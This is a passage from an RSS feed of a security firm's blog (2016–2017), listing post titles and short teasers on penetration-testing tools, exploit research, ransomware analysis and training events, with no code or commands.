				<description>&lt;p&gt;Getting access to an internal network is always great, keeping this access can be a whole other challenge. At times we want to fly below the radar and ensure our access doesn&amp;#8217;t get detected or blocked by traditional network based solutions. To this end, communicating directly through an Exchange server can be very beneficial and solve both challenges.&lt;/p&gt;&#xA;&lt;h2&gt;Technical details&lt;/h2&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://github.com/sensepost/ruler&#34;&gt;Ruler&lt;/a&gt; provides us with a means of getting a shell on an internal network. This is all done through Exchange and ensures our &amp;#8220;trigger&amp;#8221; for getting a shell back is usually only an email away. To a large degree this gives us the desired persistence we may want, however, we are still dependent on our traditional communication channels, be it DNS, HTTP(s) or TCP. This means our tools can need to traverse the traditional network boundary, aka, the web-gateway. Defenders place all their in-line defences here and should be able to detect and block our traffic. Exchange usually falls outside of this monitoring, as it should only be sending and receiving email. Sure there can be DLP and in-line scanning for malicious mail attachments, but this is usually aimed at the actual email messages. Do you have or have you seen in-line inspection of the Exchange/Outlook transport? Not the IMAP/SMTP traffic, the MAPI/HTTP or the RPC/HTTP channel that external Outlook clients use to communicate with the Exchange server. In my experience, the answer is usually no, there is no inspection of these transports.&lt;/p&gt;</description>
			</item>
			<item>
				<title>USaBUSe Linux updates</title>
				<link>https://sensepost.com/blog/2017/usabuse-linux-updates/</link>
				<pubDate>Fri, 10 Mar 2017 20:07:26 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/usabuse-linux-updates/</guid>
				<description>&lt;p&gt;(If you&amp;#8217;re new to this project, read &lt;a href=&#34;https://sensepost.com/blog/2016/universal-serial-abuse/&#34;&gt;the intro&lt;/a&gt; first)&lt;/p&gt;&#xA;&lt;p&gt;For the past few months, I&amp;#8217;ve been working on porting the USaBUSe stack from the custom hardware (AVR+ESP8266) to the Linux USB gadget stack. I wanted to make the techniques more accessible to people unfamiliar with embedded development, and I also wanted to take advantage of the variety of possibilities inherent in having a fully featured Linux environment to work in. I presented this work at &lt;a href=&#34;https://www.hackcon.org/these-unknown-attacks-will-own-you-top-secure-systems-even-if-they-are-air-gapped-and-not-connect-to-internet&#34;&gt;HackCon in Norway&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Pass the Hash with Ruler</title>
				<link>https://sensepost.com/blog/2017/pass-the-hash-with-ruler/</link>
				<pubDate>Tue, 17 Jan 2017 08:51:08 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/pass-the-hash-with-ruler/</guid>
				<description>&lt;p&gt;&lt;/p&gt;&#xA;&lt;h3&gt;Ruler at Troopers17&lt;/h3&gt;&#xA;&lt;p&gt;We are taking Ruler and the abuse of Exchange on a road trip to Germany in March. Troopers have accepted our talk, &amp;#8220;Ruler &amp;#8211; Pivoting through Exchange&amp;#8221; and we are looking forward to sharing the exciting extras that we&amp;#8217;ve been building into Ruler, along with some secrets for using Exchange in your recon, exploitation and post-exploitation phases.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.troopers.de/events/troopers17/779_ruler_-_pivoting_through_exchange/&#34;&gt;https://www.troopers.de/events/troopers17/779_ruler_-_pivoting_through_exchange/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Passing the Hash&lt;/h2&gt;&#xA;&lt;p&gt;A while back I was asked (I think by &lt;a href=&#34;https://twitter.com/singe&#34;&gt;@singe&lt;/a&gt;, but there were others as well) if it was possible to do Pass the Hash (PtH) with Ruler.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Exploiting MS16-098 RGNOBJ Integer Overflow on Windows 8.1 x64 bit by abusing GDI objects</title>
				<link>https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/</link>
				<pubDate>Tue, 03 Jan 2017 12:55:58 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/exploiting-ms16-098-rgnobj-integer-overflow-on-windows-8.1-x64-bit-by-abusing-gdi-objects/</guid>
				<description>&lt;p&gt;&lt;/p&gt;&#xA;&lt;p&gt;Starting from the beginning with no experience whatsoever in kernel land let alone exploiting it, I was always intrigued and fascinated by reverse engineering and exploit development.&lt;/p&gt;&#xA;&lt;p&gt;The idea was simple: find a 1-day patch with an exploitable bug but with no proof of concept exploit currently available, in order to start my reverse engineering and exploit dev journey with.Now the bug discussed here was not my initial choice: I failed at that one. It is actually my second choice and it took almost 4 months to fully understand the exploit and everything related to it.&lt;/p&gt;</description>
			</item>
			<item>
				<title>XRDP: Exploiting Unauthenticated X Windows Sessions</title>
				<link>https://sensepost.com/blog/2016/xrdp-exploiting-unauthenticated-x-windows-sessions/</link>
				<pubDate>Thu, 08 Dec 2016 13:21:31 +0000</pubDate>
				<guid>https://sensepost.com/blog/2016/xrdp-exploiting-unauthenticated-x-windows-sessions/</guid>
				<description>&lt;p&gt;In this blog post we are going to describe some tools we created to find and exploit unauthenticated X Windows sessions. We recently presented these at &lt;a href=&#34;http://bsidescapetown.co.za/&#34;&gt;BSides Cape Town&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h2&gt;What is X11?&lt;/h2&gt;&#xA;&lt;p&gt;X also known as the &lt;a href=&#34;https://en.wikipedia.org/wiki/X_Window_System&#34;&gt;X Window System&lt;/a&gt; is currently in its 11th version, hence the name X11. X is a basic windowing system which provides a framework for drawing and moving windows on a display device as well as interaction with a mouse and keyboard. X uses a client-server model, with the server being the computer running in front of a human user and the X client applications running anywhere on the network. This contradicts the normal view of a client-server model, where the server is running at a remote location and the client is running in front of the user. In short, X plays a central role in displaying graphical windows on a users terminal. The major use of X is for administering remote machines graphically (similar to a remote desktop session), however X only displays one window at a time. An example being an xterm (terminal) window.&lt;/p&gt;</description>
			</item>
			<item>
				<title>BSides Cape Town Secret Squirrel Challenge Write-Up</title>
				<link>https://sensepost.com/blog/2016/bsides-cape-town-secret-squirrel-challenge-write-up/</link>
				<pubDate>Tue, 06 Dec 2016 10:54:59 +0000</pubDate>
				<guid>https://sensepost.com/blog/2016/bsides-cape-town-secret-squirrel-challenge-write-up/</guid>
				<description>&lt;p&gt;Last weekend was the BSides Cape Town conference, currently ZA&amp;#8217;s only hacker con. It&amp;#8217;s a cool little con with big dreams that get a little closer each time. This year was a lot a fun and well put together, congrats to all of the speakers organisers and volunteers.&lt;/p&gt;&#xA;&lt;p&gt;SP gave some talks; Charl spoke about where we&amp;#8217;re headed in a talk entitled &lt;a href=&#34;http://www.bsidescapetown.co.za/speaker/charl-van-der-walt/&#34;&gt;Love Triangles in CyberSpace; a tale about trust in 5 chapters&lt;/a&gt;. Chris discussed his &lt;a href=&#34;https://sensepost.com/blog/2016/rattleridentifying-and-exploiting-dll-preloading-vulnerabilities/&#34;&gt;DLL preloading work&lt;/a&gt; and released &lt;a href=&#34;https://github.com/sensepost/rattler&#34;&gt;his toolset&lt;/a&gt;. Finally, Darryn &amp;amp; Thomas spoke about &lt;a href=&#34;http://www.bsidescapetown.co.za/speaker/thomas-underhay-darryn-cull/&#34;&gt;exploiting unauth&amp;#8217;ed X sessions&lt;/a&gt; and released &lt;a href=&#34;https://github.com/sensepost/xrdp&#34;&gt;their tool XRDP&lt;/a&gt;, it was also their first con talk ever.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Rattler:Identifying and Exploiting DLL Preloading Vulnerabilities</title>
				<link>https://sensepost.com/blog/2016/rattleridentifying-and-exploiting-dll-preloading-vulnerabilities/</link>
				<pubDate>Thu, 01 Dec 2016 14:18:33 +0000</pubDate>
				<guid>https://sensepost.com/blog/2016/rattleridentifying-and-exploiting-dll-preloading-vulnerabilities/</guid>
				<description>&lt;p&gt;In this blog post I am going to describe a new tool (Rattler) that I have been working on and discuss some of the interesting anomalies found while building it. Rattler can be found on our Github &lt;a href=&#34;https://github.com/sensepost/rattler&#34;&gt;repo&lt;/a&gt; and was recently discussed at &lt;a href=&#34;http://www.bsidescapetown.co.za/&#34;&gt;BSides&lt;/a&gt; Cape Town.&lt;/p&gt;&#xA;&lt;h3&gt;What is Rattler?&lt;/h3&gt;&#xA;&lt;p&gt;Rattler helps identify which application DLL&amp;#8217;s are vulnerable to DLL preloading attacks. In a nutshell, DLL preloading attacks allow you to trick applications into loading and executing malicious DLL&amp;#8217;s. DLL preloading attacks can result in escalation of privileges, persistence and RCE in some cases. While preloading attacks are nothing new, there were some interesting results found. For more information on DLL security, I found this &lt;a href=&#34;https://msdn.microsoft.com/library/ff919712&#34;&gt;link&lt;/a&gt; to be helpful.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Intercepting passwords with Empire and winning!</title>
				<link>https://sensepost.com/blog/2016/intercepting-passwords-with-empire-and-winning/</link>
				<pubDate>Fri, 18 Nov 2016 08:50:59 +0000</pubDate>
				<guid>https://sensepost.com/blog/2016/intercepting-passwords-with-empire-and-winning/</guid>
				<description>&lt;p&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&lt;p&gt;This is my password,&amp;#8221; said the King as he drew his sword. &amp;#8220;The light is dawning, the lie broken. Now guard thee, miscreant, for I am Tirian of Narnia.&lt;br /&gt;&#xA;&lt;strong&gt;C.S. Lewis&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;code&gt;&lt;strong&gt;tl;dr&lt;/strong&gt; &lt;/code&gt; You are part of the red team who&amp;#8217;s just compromised the entire AD infrastructure. The blue team quickly changes the password, which is always recommended, but is this effective in preventing the red team from still inflicting damage?&lt;/p&gt;</description>
			</item>
			<item>
				<title>Kwetza: Infecting Android Applications</title>
				<link>https://sensepost.com/blog/2016/kwetza-infecting-android-applications/</link>
				<pubDate>Mon, 03 Oct 2016 07:47:46 +0000</pubDate>
				<guid>https://sensepost.com/blog/2016/kwetza-infecting-android-applications/</guid>
				<description>&lt;p&gt;This blog post describes a method for backdooring Android executables. After describing the manual step, I will show how to do the same with a new tool, &lt;a href=&#34;http://github.com/sensepost/kwetza&#34;&gt;Kwetza&lt;/a&gt;, that I&amp;#8217;m releasing today.&lt;/p&gt;&#xA;&lt;p&gt;Infecting Android applications provides a great way to determine the impact and affect of the malicious activities we see in the wild, from ransomware to practical jokes. This not only provides you with an entry point onto user devices, but also allows you to see how devices, users and anti-virus behave in these situations.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Snoopy with Mana</title>
				<link>https://sensepost.com/blog/2016/snoopy-with-mana/</link>
				<pubDate>Wed, 14 Sep 2016 10:11:27 +0000</pubDate>
				<guid>https://sensepost.com/blog/2016/snoopy-with-mana/</guid>
				<description>&lt;p&gt;In 2011 Glenn and Daniel released Snoopy, a set of tools for tracking and visualising wireless client activity. However, the Snoopy project is no longer maintained. This blog entry is about how I got Snoopy-like functionality built into Mana.&lt;/p&gt;&#xA;&lt;p&gt;Snoopy&amp;#8217;s core functionality was to observe probe requests for remembered networks from wireless clients, although it ended up doing much more.&lt;/p&gt;&#xA;&lt;p&gt;The problem tools like Snoopy face, is that they can&amp;#8217;t monitor the whole 2.4Ghz wireless spectrum for probe requests, without the use of multiple wireless cards. So they channel hop to make sure they see probes on multiple channels. In the 2.4Ghz range this wasn&amp;#8217;t terrible, because the channels overlap, which means you didn&amp;#8217;t have to tune in to all 11 or 14 (depending on location) channels individually to see probes across the spectrum. So while you may have missed a few probe requests, you didn&amp;#8217; t miss many.&lt;/p&gt;</description>
			</item>
			<item>
				<title>What to look for in a training provider</title>
				<link>https://sensepost.com/blog/2016/what-to-look-for-in-a-training-provider/</link>
				<pubDate>Mon, 05 Sep 2016 12:53:58 +0000</pubDate>
				<guid>https://sensepost.com/blog/2016/what-to-look-for-in-a-training-provider/</guid>
				<description>&lt;p&gt;In the last few years, the infosec training scene has exploded. Arguably, the largest training provider is &lt;a href=&#34;http://blackhat.com&#34;&gt;Blackhat&lt;/a&gt;, and in the last 15 years we’ve seen it grow from a handful of courses to 106 at the last &lt;a href=&#34;https://www.blackhat.com/us-16/&#34;&gt;BlackHat USA&lt;/a&gt;. With many courses purportedly offering the same or similar content, it&amp;#8217;s getting harder to choose as a student.&lt;/p&gt;&#xA;&lt;p&gt;This blog entry will cover some of the stuff we think makes our courses pretty great, and why we&amp;#8217;re so proud of them. It may also help you to evaluate whether our courses are what you&amp;#8217;re looking for at at least how to spot the better courses (not just ours) in a list of 100+.&lt;br /&gt;&#xA;&lt;strong&gt;The Basics&lt;/strong&gt;&lt;br /&gt;&#xA;It&amp;#8217;s our belief that if you have a deep passion for the work you do, then not only will you work hard to be great at it, you&amp;#8217;ll also enjoy sharing that passion by teaching others. It&amp;#8217;s held true for us for many years, and we make a point of putting our best analysts, rather than specialised trainers, to run our courses.&lt;/p&gt;</description>
			</item>
			<item>
				<title>MAPI over HTTP and Mailrule Pwnage</title>
				<link>https://sensepost.com/blog/2016/mapi-over-http-and-mailrule-pwnage/</link>
				<pubDate>Thu, 01 Sep 2016 08:30:22 +0000</pubDate>
				<guid>https://sensepost.com/blog/2016/mapi-over-http-and-mailrule-pwnage/</guid>
				<description>&lt;h2&gt;History&lt;/h2&gt;&#xA;&lt;p&gt;In December 2015 &lt;a href=&#34;https://silentbreaksecurity.com&#34;&gt;Silent Break Security&lt;/a&gt; wrote about &amp;#8220;&lt;a href=&#34;https://silentbreaksecurity.com/malicious-outlook-rules/.&#34;&gt;Malicious Outlook Rules&lt;/a&gt;&amp;#8221; and using these to get a remote shell. This was great, we could now use those credentials found through brute-forcing OWA instances or a phishing page. The only issue I had with this was the fact that you needed to setup a local instance of the mailbox, which at times could be time consuming and also felt like overkill.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Universal Serial aBUSe</title>
				<link>https://sensepost.com/blog/2016/universal-serial-abuse/</link>
				<pubDate>Mon, 15 Aug 2016 15:02:29 +0000</pubDate>
				<guid>https://sensepost.com/blog/2016/universal-serial-abuse/</guid>
				<description>&lt;p&gt;Last Saturday, at Defcon 24, we gave a talk entitled &amp;#8220;&lt;a href=&#34;https://www.defcon.org/html/defcon-24/dc-24-speakers.html#Dawes&#34;&gt;Universal Serial aBUSe: Remote Physical Access Attacks&lt;/a&gt;&amp;#8221; about some research we had performed into USB attacks. The talk was part of a research theme we&amp;#8217;ve been pursuing related to hardware bypasses of software security. We decided to look into these sorts of attacks after noting their use in real world attacks. For example, you have &amp;#8220;Apex predators&amp;#8221; such as the NSA&amp;#8217;s extensive use of sophisticated hardware implants, most notably for this work, the &lt;a href=&#34;http://arstechnica.com/information-technology/2013/12/inside-the-nsas-leaked-catalog-of-surveillance-magic/&#34;&gt;COTTONMOUTH&lt;/a&gt; devices. On the other end of the scale, we noticed real world criminals in the UK and ZA making use of unsophisticated hardware devices, such as hardware keyloggers, drive imagers and physical VPN devices and successfully making off with millions. This led us to hypothesise that there&amp;#8217;s probably a large series of possible attacks in between these two extremes. We also noted that there&amp;#8217;s not many decent defences against these sorts of attacks, it&amp;#8217;s 2016, and the only decent defence against decent hardware keyloggers is still to &amp;#8220;manually inspect all USB ports&amp;#8221; (assuming this stuff is even visible).&lt;/p&gt;</description>
			</item>
			<item>
				<title>SensePost at Blackhat &amp; Defcon 2016</title>
				<link>https://sensepost.com/blog/2016/sensepost-at-blackhat-defcon-2016/</link>
				<pubDate>Tue, 21 Jun 2016 14:24:30 +0000</pubDate>
				<guid>https://sensepost.com/blog/2016/sensepost-at-blackhat-defcon-2016/</guid>
				<description>&lt;p&gt;The annual &lt;a href=&#34;https://blackhat.com&#34;&gt;Hacker Summer Camp&lt;/a&gt; is nearly upon us, everyone at SensePost is getting ready. This is a brief overview of what we&amp;#8217;ll be doing. The&lt;em&gt; tl;dr&lt;/em&gt; is: BlackHat Training, BlackHat Arsenal x2, Defcon talk &amp;amp; Stickers :)&lt;/p&gt;&#xA;&lt;h1&gt;BlackHat Training&lt;/h1&gt;&#xA;&lt;p&gt;We&amp;#8217;re back at BlackHat for our 15th year of training with a selection of courses ranging from introductory courses for beginners through to hardcore courses for experts.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.blackhat.com/us-16/training/basic-tools-and-techniques-for-hackers-beginner-level.html&#34;&gt;Basic Tools &amp;amp; Techniques for Hackers &amp;#8211; Beginner Level&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.blackhat.com/us-16/training/mobile-application-bootcamp-journeyman-level.html&#34;&gt;Mobile Application Bootcamp &amp;#8211; Journeyman Level&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.blackhat.com/us-16/training/web-application-bootcamp-journeyman-level.html&#34;&gt;Web Application Bootcamp &amp;#8211; Journeyman Level&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.blackhat.com/us-16/training/black-ops-hacking-for-pentesters-master-level.html&#34;&gt;Black Ops Hacking for Pentesters &amp;#8211; Master Level&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.blackhat.com/us-16/training/threat-intelligence-using-maltego.html&#34;&gt;Threat Intelligence using Maltego&lt;/a&gt; This one isn&amp;#8217;t ours, but our good friends and business partners, Paterva :)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;BlackHat Arsenal&lt;/h1&gt;&#xA;&lt;p&gt;We were fortunate enough to have two tools accepted for &lt;a href=&#34;https://www.blackhat.com/us-16/schedule/&#34;&gt;BlackHat Arsenal&lt;/a&gt; this year. We think building open source tools for the hacker community is an important part of how we roll, and we appreciate &lt;a href=&#34;http://www.toolswatch.org&#34;&gt;ToolsWatch&lt;/a&gt; and the &lt;a href=&#34;http://www.netpeas.org&#34;&gt;NETpeas&lt;/a&gt; crews efforts with arsenal.&lt;/p&gt;</description>
			</item>
			<item>
				<title>PwnBank en route to Vegas</title>
				<link>https://sensepost.com/blog/2016/pwnbank-en-route-to-vegas/</link>
				<pubDate>Mon, 20 Jun 2016 16:17:29 +0000</pubDate>
				<guid>https://sensepost.com/blog/2016/pwnbank-en-route-to-vegas/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2016/pwnbank-en-route-to-vegas/457f3d95fd94cfa588e15adce4971ecf.jpg&#34;&gt;&lt;img alt=&#34;wwdc-2016-2-million-apps-1024x540&#34;  height=&#34;158&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2016/pwnbank-en-route-to-vegas/80f9214c9d6ab8391fc9a98e0007be16.jpg&#34; width=&#34;300&#34; /&gt;&lt;br /&gt;&#xA;&lt;/a&gt;Everyone has a mobile phone (ok some have two) and the wealth of information people put into them is staggering. This single platform gives attackers an incredibly large attack surface area to target, so it&amp;#8217;s no surprise we *love* owning mobile devices.&lt;/p&gt;&#xA;&lt;p&gt;With this in mind, the countdown to &lt;a href=&#34;https://www.blackhat.com/us-16/&#34;&gt;Blackhat USA&lt;/a&gt; has begun and we will be launching our latest iteration of the &lt;a href=&#34;https://www.sensepost.com/learn/journeyman-mobile/&#34;&gt;Mobile hacking course&lt;/a&gt; to the eager and thirsty minds that find themselves at the sensory circus that is Las Vegas!&lt;/p&gt;</description>
			</item>
			<item>
				<title>PowerShell, C-Sharp and DDE The Power Within</title>
				<link>https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/</link>
				<pubDate>Fri, 20 May 2016 13:27:49 +0000</pubDate>
				<guid>https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/</guid>
				<description>&lt;p&gt;aka Exploiting MS16-032 via Excel DDE without macros. The modified exploit script and video are at the end.&lt;/p&gt;&#xA;&lt;p&gt;A while ago this cool &lt;a href=&#34;https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/master/Invoke-MS16-032.ps1&#34;&gt;PowerShell exploit for MS16-032&lt;/a&gt; was released by FuzzySecurity. The vulnerability exploited was in the secondary login function, which had a race condition for a leaked elevated thread handle, we wont go into much details about the vulnerability here though. It is a really awesome vulnerability if you want to read more details about it, I suggest you read &lt;a href=&#34;https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html&#34;&gt;James Forshaw&amp;#8217;s blog post at Project Zero&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Handling Randomised MAC Addresses in MANA</title>
				<link>https://sensepost.com/blog/2016/handling-randomised-mac-addresses-in-mana/</link>
				<pubDate>Fri, 20 May 2016 08:44:48 +0000</pubDate>
				<guid>https://sensepost.com/blog/2016/handling-randomised-mac-addresses-in-mana/</guid>
				<description>&lt;p&gt;mana development has been chugging along nicely. However, the OffSec crew politely asked us to move mana to proper releases a while back, which we&amp;#8217;ve just done. This is about one of the many changes pushed in our first new set of releases since October 2014; &lt;a href=&#34;https://github.com/sensepost/mana/releases/tag/1.3.1&#34;&gt;1.3.1-Fixy McFixface&lt;/a&gt;. There&amp;#8217;s a longer summary of what&amp;#8217;s new available at the previous release page &lt;a href=&#34;https://github.com/sensepost/mana/releases/tag/v1.3&#34;&gt;1.3-WPE &amp;amp; ACLs&lt;/a&gt; with the WPE functionality extensions from and inspired by Brad Antoniewicz&amp;#8217;s work being the coolest from a pwnage perspective.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Where SensePost meets the real world</title>
				<link>https://sensepost.com/blog/2016/where-sensepost-meets-the-real-world/</link>
				<pubDate>Mon, 09 May 2016 11:49:50 +0000</pubDate>
				<guid>https://sensepost.com/blog/2016/where-sensepost-meets-the-real-world/</guid>
				<description>&lt;p&gt;&lt;strong&gt;SensePost Training at Blackhat USA&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;What is SensePost infrastructure training about and what does it give you as a novice pentester? What does it give you as a pentester looking to move into infrastructure hacking?  Training at SensePost focuses on learning the Trade and not just the trick, thus our focus is on your testing methodology rather than simply showing you some cool tools. And what is this methodology you may ask, well it is one that aims to emulate real-world scenarios and push you into doing the attacks that are actively happening.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Not-quite-triangulation using the who’s near me feature in location-aware web apps</title>
				<link>https://sensepost.com/blog/2016/not-quite-triangulation-using-the-whos-near-me-feature-in-location-aware-web-apps/</link>
				<pubDate>Sun, 27 Mar 2016 11:47:12 +0000</pubDate>
				<guid>https://sensepost.com/blog/2016/not-quite-triangulation-using-the-whos-near-me-feature-in-location-aware-web-apps/</guid>
				<description>&lt;p&gt;When assessing web applications, we typically look for vulnerabilities such as SQLi and XSS, which are generally a result of poor input validation. However, logical input validation is just as important, and you can get tons of interesting info if it&amp;#8217;s not done properly.&lt;/p&gt;&#xA;&lt;p&gt;Take the plethora of mobile apps that let you find people that are using the same app nearby.  Logical validation on the coordinates you send should check that&lt;/p&gt;</description>
			</item>
			<item>
				<title>Too Easy – Adding Root CA’s to iOS Devices</title>
				<link>https://sensepost.com/blog/2016/too-easy-adding-root-cas-to-ios-devices/</link>
				<pubDate>Wed, 23 Mar 2016 15:52:28 +0000</pubDate>
				<guid>https://sensepost.com/blog/2016/too-easy-adding-root-cas-to-ios-devices/</guid>
				<description>&lt;p&gt;With the recent buzz around the &lt;a href=&#34;http://blog.cryptographyengineering.com/2016/03/attack-of-week-apple-imessage.html&#34;&gt;iMessage crypto bug&lt;/a&gt; from the John&amp;#8217;s Hopkins team, several people pointed out that you would &lt;a href=&#34;https://news.ycombinator.com/item?id=11332715&#34;&gt;need a root CA&lt;/a&gt; to make it work. While getting access to the private key for a global root CA is probably hard, getting a device to trust a malicious root CA is sometimes phrased as difficult to do, but really isn&amp;#8217;t. (There&amp;#8217;s a brief technical note about this in the caveats section at the end.)&lt;/p&gt;</description>
			</item>
			<item>
				<title>DET – (extensible) Data Exfiltration Toolkit</title>
				<link>https://sensepost.com/blog/2016/det-extensible-data-exfiltration-toolkit/</link>
				<pubDate>Sat, 19 Mar 2016 09:59:53 +0000</pubDate>
				<guid>https://sensepost.com/blog/2016/det-extensible-data-exfiltration-toolkit/</guid>
				<description>&lt;p&gt;Often gaining access to a network is just the first step for a targeted attacker. Once inside, the goal is to go after sensitive information and exfiltrate it to servers under their control.&lt;/p&gt;&#xA;&lt;p&gt;To prevent this from occuring, a whole industry has popped up with the aim of stopping exfiltration attacks. However, often these are expensive and rarely work as expected. With this in mind, I created the Data Exfiltration Toolkit (DET) to help both penetration testers testing deployed security devices and those admins who&amp;#8217;ve installed and configured them, to ensure they are working as expected and detecting when sensitive data is leaving the network.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Advanced Cycript and Substrate</title>
				<link>https://sensepost.com/blog/2016/advanced-cycript-and-substrate/</link>
				<pubDate>Fri, 18 Mar 2016 07:01:49 +0000</pubDate>
				<guid>https://sensepost.com/blog/2016/advanced-cycript-and-substrate/</guid>
				<description>&lt;p&gt;Mobile assessments are always fun as the environment is constantly evolving. A recent trend has been the use of custom protocols for communication between the application and server. This holds particularly true for financial institutes who are aiming to protect both the confidentiality and integrity of data. Most of these custom protocols are over TCP, wrap data in custom crypto, which usually includes signing of the payload to prevent tampering. Even when transmitted over HTTPS, we have noticed a trend where data within the HTTP body gets encrypted and signed using some custom crypto. Both of these processes can greatly frustrate testers using standard network intercepting tools.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Android hooking with Introspy</title>
				<link>https://sensepost.com/blog/2016/android-hooking-with-introspy/</link>
				<pubDate>Thu, 10 Mar 2016 12:32:07 +0000</pubDate>
				<guid>https://sensepost.com/blog/2016/android-hooking-with-introspy/</guid>
				<description>&lt;p&gt;Here&amp;#8217;s my first blog where I&amp;#8217;ll try to write up how I&amp;#8217;ve managed to set up the &lt;a href=&#34;https://isecpartners.github.io/Introspy-Android/&#34;&gt;Introspy framework&lt;/a&gt; for the Android emulator.&lt;/p&gt;&#xA;&lt;p&gt;First things first, if you haven&amp;#8217;t downloaded the Android SDK do it now from &lt;a href=&#34;http://developer.android.com/sdk/index.html&#34;&gt;here. &lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I am on Ubuntu 14.04 x64 machine but hopefully you will be able to follow this guide as long as you are on a modern linux system.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Sidenote&lt;/strong&gt;&lt;/em&gt;: Since you are gonna run many commands on the emulator I highly recommend that you open a new shell during this proccess (&lt;strong&gt;adb shell&lt;/strong&gt;) and run the &lt;strong&gt;logcat&lt;/strong&gt; command. That way you can see all the debug messages and if something fails, play around and see how can you solve it.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Understanding Locky</title>
				<link>https://sensepost.com/blog/2016/understanding-locky/</link>
				<pubDate>Fri, 19 Feb 2016 18:58:46 +0000</pubDate>
				<guid>https://sensepost.com/blog/2016/understanding-locky/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2016/understanding-locky/775461b0736c105b542731188aa01ade.png&#34; rel=&#34;attachment wp-att-14400&#34;&gt;&lt;img alt=&#34;Screen Shot 2016-02-18 at 16.39.36&#34;  height=&#34;185&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2016/understanding-locky/494eafe24fee8603d9e62d14aa0a2289.png&#34; width=&#34;474&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;A few days ago I was asked to have a look at the newly emerged crypto-ransomware threat &amp;#8220;L&lt;strong&gt;ocky&lt;/strong&gt;&amp;#8221; which utilises &lt;strong&gt;&lt;a href=&#34;http://www.webopedia.com/TERM/D/dridex-malware.html&#34; target=&#34;_blank&#34;&gt;Dridex-&lt;/a&gt;&lt;/strong&gt;like Command and Control (C&amp;amp;C) communications techniques. For some background reading, I recommend you read the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;span&gt;http://sensorstechforum.com/aes-128-encryption-employed-by-locky-ransomware/&lt;/span&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;span&gt;https://nakedsecurity.sophos.com/2016/02/17/locky-ransomware-what-you-need-to-know/&lt;/span&gt;)&lt;/li&gt;&#xA;&lt;li&gt; &lt;span&gt;http://www.theinquirer.net/inquirer/news/2447460/dridex-style-locky-ransomware-is-infecting-machines-via-microsoft-word&lt;/span&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;It looks like a new (FEB2016) addition to the crypto-ransomware family :&lt;/p&gt;&#xA;&lt;p&gt;1. Dirty Decrypt&lt;br /&gt;&#xA;2. CryptoLocker&lt;br /&gt;&#xA;3. CryptoWall / Cryptodefense&lt;br /&gt;&#xA;4. Critroni / CTB Locker&lt;br /&gt;&#xA;5. TorrentLocker&lt;br /&gt;&#xA;6. Cryptographic Locker&lt;br /&gt;&#xA;7. TeslaLocker&lt;br /&gt;&#xA;8. &lt;strong&gt;Locky&lt;/strong&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Bringing the hashes home with reGeorg &amp; Empire</title>
				<link>https://sensepost.com/blog/2016/bringing-the-hashes-home-with-regeorg-empire/</link>
				<pubDate>Thu, 11 Feb 2016 10:51:33 +0000</pubDate>
				<guid>https://sensepost.com/blog/2016/bringing-the-hashes-home-with-regeorg-empire/</guid>
				<description>&lt;blockquote&gt;&lt;p&gt;Is not a hack until you are 3 tunnels deep &amp;#8211; Ian de Villiers&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;External assessments. It&amp;#8217;s about not only finding flaws but also looking at ways you can chain lower and medium-level vulnerabilities together, to be utterly devastating and gain full access.&lt;/p&gt;&#xA;&lt;p&gt;After situational awareness phase, pulling in all of my reconnaisance scans and input, I was left with typical results one might expect: missing patches here, little misconfiguration there, the typical&amp;#8230;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Sensepost Maltego Toolkit: Skyper</title>
